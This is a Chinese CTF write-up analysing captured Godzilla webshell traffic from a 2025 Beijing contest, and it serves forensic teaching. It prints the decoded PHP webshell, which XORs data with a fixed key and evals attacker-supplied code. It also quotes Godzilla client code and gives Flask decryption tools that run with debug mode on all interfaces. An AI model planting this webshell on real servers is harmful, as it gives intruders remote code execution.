2025年北京市职工职业技能大赛第六届信息通信行业网络安全技能大赛复赛CTF部分WP-哥斯拉流量分析
一、流量分析
题目没有任何提示,附件gzl.pcap
解题
哥斯拉流量
300多KB包很多,没啥经验只能挨个看
回来之后又狠狠得撸了一把哥斯拉流量分析
我这里用的是哥斯拉4.0.1
00X01测试链接
测试链接这里发了两个包,我们进行分析
1、第一个请求包,
哥斯拉将payload进行了base64编码,并且将编码后的内容做了字符串反转,我们echo进行还原
// 禁用错误报告和超时限制,避免暴露服务器信息
@session_start(); // 开启会话(抑制错误)
@set_time_limit(0); // 取消脚本执行时间限制
@error_reporting(0); // 关闭所有错误提示
// 自定义加密/解密函数(异或算法)
functionencode($D, $K) {
for($i = 0; $i < strlen($D); $i++) {
$c = $K[$i + 1 & 15]; // 循环取密钥字符(密钥长度固定为16)
$D[$i] = $D[$i] ^ $c; // 对数据逐字符异或加密/解密
}
return $D;
}
// 配置参数
$pass = 'key'; // 用于接收POST参数的键名
$payloadName = 'payload'; // 会话中存储Payload的键名
$key = '3c6e0b8a9c15224a'; // 16字节密钥(异或加密)
// 主逻辑:处理客户端请求
if(isset($_POST[$pass])) { // 检查是否存在POST参数`key`
// 解密客户端数据
$data = encode(
base64_decode($_POST[$pass]), // 先Base64解码
$key // 再用异或解密
);
if(isset($_SESSION[$payloadName])) {
// 从会话中获取Payload并解密
$payload = encode($_SESSION[$payloadName], $key);
// 避免重复加密(根据关键字判断)
if(strpos($payload, "getBasicsInfo") === false) {
$payload = encode($payload, $key); // 二次加密(兼容性处理)
}
// 执行Payload(动态代码)
eval($payload); // 关键危险点:执行任意代码
// 生成响应数据
echo substr(md5($pass . $key), 0, 16); // 头部MD5校验
echo base64_encode(encode(@run($data), $key)); // 加密执行结果
echo substr(md5($pass . $key), 16); // 尾部MD5校验
} else {
// 首次请求:存储Payload到会话
if(strpos($data, "getBasicsInfo") !== false) {
$_SESSION[$payloadName] = encode($data, $key); // 加密后存储
}
}
}
encode
函数使用 异或(XOR)加密,密钥为固定16字节(3c6e0b8a9c15224a
)// XOR加密处理,并构造HTTP请求参数public byte[] E(byte[] cs) {int len = cs.length;// 对每个字节进行循环异或加密for (int i = 0; i < len; ++i) { cs[i] = (byte)(cs[i] ^ this.key[i + 1 & 0xF]);}// 拼接密码参数和Base64编码后的加密数据String param = String.format("%s=%s&", this.pass, this.evalContent) + this.shell.getSecretKey() + "="+ URLEncoder.encode(functions.base64EncodeToString(cs)); return param.getBytes();}
// 数据加密方法(用于发送数据)@Overridepublic byte[] encode(byte[] data) {try {return this.E(data); // 调用异或加密处理} catch (Exception e) { Log.error(e); return null;}}
from flask import Flask, request, render_template_string
import base64
import gzip
app = Flask(__name__)
def XOR(D, K):
"""
改进的XOR解密函数,支持与哥斯拉PHP代码一致的解密逻辑
"""
result = []
for i in range(len(D)):
c = K[i + 1 & 15]
if not isinstance(D[i], int):
d = ord(D[i])
else:
d = D[i]
result.append(d ^ ord(c))
return b''.join([i.to_bytes(1, byteorder='big') for i in result])
def decrypt_data(encrypted_b64, key_str):
"""
解密主函数,支持gzip解压
"""
try:
# Base64解码
encrypted_data = base64.b64decode(encrypted_b64)
# 执行XOR解密
decrypted = XOR(encrypted_data, key_str)
# 尝试gzip解压
try:
decompressed = gzip.decompress(decrypted)
return decompressed
except:
# 解压失败,返回原始解密数据
return decrypted
except Exception as e:
raise Exception(f"解密失败: {str(e)}")
# HTML模板(保持不变)
HTML_TEMPLATE = '''
<!DOCTYPE html>
<html>
<head>
<title>哥斯拉流量解密工具</title>
<style>
body { font-family: Arial, sans-serif; margin: 40px; }
.container { max-width: 800px; margin: auto; }
.form-group { margin-bottom: 15px; }
label { display: block; margin-bottom: 5px; }
input, textarea { width: 100%; padding: 8px; }
.error { color: red; }
.result { white-space: pre-wrap; word-wrap: break-word; }
</style>
</head>
<body>
<div class="container">
<h2>哥斯拉流量解密工具</h2>
<form method="POST">
<div class="form-group">
<label>异或密钥(16字符):</label>
<input type="text" name="key" required>
</div>
<div class="form-group">
<label>加密的Base64数据:</label>
<textarea name="encrypted_data" rows="4" required></textarea>
</div>
<input type="submit" value="解密">
</form>
{% if error %}
<div class="error"><strong>错误:</strong> {{ error }}</div>
{% endif %}
{% if result %}
<div class="result">
<h3>解密结果:</h3>
{{ result }}
</div>
{% endif %}
</div>
</body>
</html>
'''
def index():
if request.method == 'POST':
key_str = request.form.get('key', '')
encrypted_b64 = request.form.get('encrypted_data', '')
# 校验密钥长度
if len(key_str) != 16:
return render_template_string(HTML_TEMPLATE, error="密钥必须为16个字符")
try:
# 解密数据
decrypted_data = decrypt_data(encrypted_b64, key_str)
# 尝试UTF-8解码,失败则返回十六进制
try:
result = decrypted_data.decode('utf-8', errors='strict')
except UnicodeDecodeError:
result = "原始字节(HEX):n" + decrypted_data.hex(' ')
return render_template_string(HTML_TEMPLATE, result=result)
except Exception as e:
return render_template_string(HTML_TEMPLATE, error=str(e))
return render_template_string(HTML_TEMPLATE)
if __name__ == '__main__':
app.run(host='0.0.0.0', port=5000, debug=True)
test()的执行过程为:调用evalFunc函数。该函数将数据POST给shell管理端,并获得管理端的响应。
byte[] result = evalFunc(null, "test", parameter); // 获得管理端的响应
将服务器的返回结果格式修改后,与ok对比,判断为ok则连接成功。
@Overridepublic boolean test() { ReqParameter parameter = new ReqParameter(); byte[] result = this.evalFunc(null, "test", parameter);String codeString = new String(result); if (codeString.trim().equals("ok")) {this.isAlive = true; return true;} Log.error(codeString); return false;}
@Overridepublic void init(ShellEntity context) {this.shell = context; this.http = this.shell.getHttp(); this.key = this.shell.getSecretKeyX().getBytes(); // 获取异或密钥this.pass = this.shell.getPassword(); // 获取请求密码参数名// 生成响应数据分割标记(MD5哈希分割)String findStrMd5 = functions.md5(this.shell.getSecretKey() + new String(this.key)); this.findStrLeft = findStrMd5.substring(0, 16); this.findStrRight = findStrMd5.substring(16); this.evalContent = this.generateEvalContent(); // 生成动态eval代码
// 从响应内容中提取加密数据(位于左右标记之间)public String findStr(byte[] respResult) { String htmlString = new String(respResult); return functions.subMiddleStr(htmlString, this.findStrLeft, this.findStrRight);}
@Overridepublic byte[] evalFunc(String className, String funcName, ReqParameter parameter) {this.fillParameter(className, funcName, parameter); byte[] data = parameter.formatEx(); if (this.gzipDecodeMagic == 1) { data = functions.gzipE(data);}byte[] result = this.http.sendHttpResponse(data).getResult(); if ((this.gzipEncodeMagic == -1 || this.gzipEncodeMagic == 1) && functions.isGzipStream(result)) { result = functions.gzipD(result);}return result;}
from flask import Flask, request, render_template_string
import base64
import gzip
from urllib.parse import unquote_plus
app = Flask(__name__)
def XOR(D: bytes, K: str) -> bytes:
"""标准XOR解密函数(哥斯拉协议逻辑)"""
result = bytearray()
for i in range(len(D)):
key_index = (i + 1) & 15 # 密钥循环索引(16字节固定长度)
result.append(D[i] ^ ord(K[key_index]))
return bytes(result)
def decrypt_data(encrypted_b64: str, key: str, is_response: bool = False) -> bytes:
"""
解密主函数(支持请求包自动URL解码和响应包去前后16字符)
"""
# 1. 请求包自动URL解码
if not is_response:
encrypted_b64 = unquote_plus(encrypted_b64)
# 2. 响应包特殊处理:去除前后各16个字符
if is_response:
if len(encrypted_b64) < 32:
raise ValueError("响应包Base64数据长度不足32字符,无法去除前后16字符")
encrypted_b64 = encrypted_b64[16:-16]
# 3. Base64解码
try:
encrypted_bytes = base64.b64decode(encrypted_b64)
except Exception as e:
raise ValueError(f"Base64解码失败: {str(e)}")
# 4. 异或解密
decrypted_bytes = XOR(encrypted_bytes, key)
# 5. 尝试gzip解压
try:
return gzip.decompress(decrypted_bytes)
except gzip.BadGzipFile:
return decrypted_bytes # 非压缩数据直接返回
# HTML模板(增强说明信息)
HTML_TEMPLATE = '''
<html>
<head>
<title>哥斯拉流量解密工具</title>
<style>
body { font-family: 'Courier New', monospace; margin: 20px; }
.container { max-width: 1000px; margin: auto; }
.form-group { margin-bottom: 20px; }
.input-group { display: flex; gap: 15px; }
textarea { height: 120px; flex-grow: 1; }
.result { background: #f5f5f5; padding: 15px; border-radius: 8px; white-space: pre-wrap; }
.hint { color: #666; font-size: 0.9em; margin-top: 5px; }
</style>
</head>
<body>
<divclass="container">
<h2>哥斯拉流量解密工具</h2>
<formmethod="POST">
<divclass="input-group">
<divclass="form-group">
<label>异或密钥(16字符):</label>
<inputtype="text"name="key"requiredstyle="width: 200px;">
</div>
<divclass="form-group">
<label>数据包类型:</label>
<selectname="packet_type">
<optionvalue="request">请求包(自动URL解码)</option>
<optionvalue="response">响应包(去前后16字符)</option>
</select>
</div>
</div>
<divclass="form-group">
<label>加密的Base64数据:</label>
<textareaname="encrypted_data"required></textarea>
<divclass="hint">
<strong>请求包</strong>: 需包含完整URL编码的Base64数据<br>
<strong>响应包</strong>: 需包含完整的Base64数据(前后包含填充字符)
</div>
</div>
<buttontype="submit">执行解密</button>
</form>
{% if error %}
<divstyle="color: red; margin: 15px 0;">❌ {{ error }}</div>
{% endif %}
{% if result %}
<divclass="result">
<h3>解密结果:</h3>
<pre>{{ result }}</pre>
</div>
{% endif %}
</div>
</body>
</html>
'''
@app.route('/', methods=['GET', 'POST'])
def index():
if request.method == 'POST':
key = request.form.get('key', '').strip()
encrypted_b64 = request.form.get('encrypted_data', '').strip()
packet_type = request.form.get('packet_type', 'request')
# 密钥长度校验
if len(key) != 16:
return render_template_string(HTML_TEMPLATE, error="密钥必须为<strong>16个字符</strong>")
try:
# 处理数据包类型
is_response = (packet_type == 'response')
# 执行解密
decrypted_result = decrypt_data(encrypted_b64, key, is_response)
# 转换为可读格式
try:
result_text = decrypted_result.decode('utf-8', errors='replace')
except Exception:
result_text = f"原始字节(HEX):n{decrypted_result.hex(' ')}"
return render_template_string(HTML_TEMPLATE, result=result_text)
except Exception as e:
return render_template_string(HTML_TEMPLATE, error=str(e))
return render_template_string(HTML_TEMPLATE)
if __name__ == '__main__':
app.run(host='0.0.0.0', port=5000, debug=True)
![哥斯拉流量分析(PHP_XOR_BASE64)-2025年北京市职工职业技能大赛第六届信息通信行业网络安全技能大赛复赛部分WP 哥斯拉流量分析(PHP_XOR_BASE64)-2025年北京市职工职业技能大赛第六届信息通信行业网络安全技能大赛复赛部分WP]()
原文始发于微信公众号(瓜神网络安全&分享):哥斯拉流量分析(PHP_XOR_BASE64)-2025年北京市职工职业技能大赛第六届信息通信行业网络安全技能大赛复赛部分WP
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论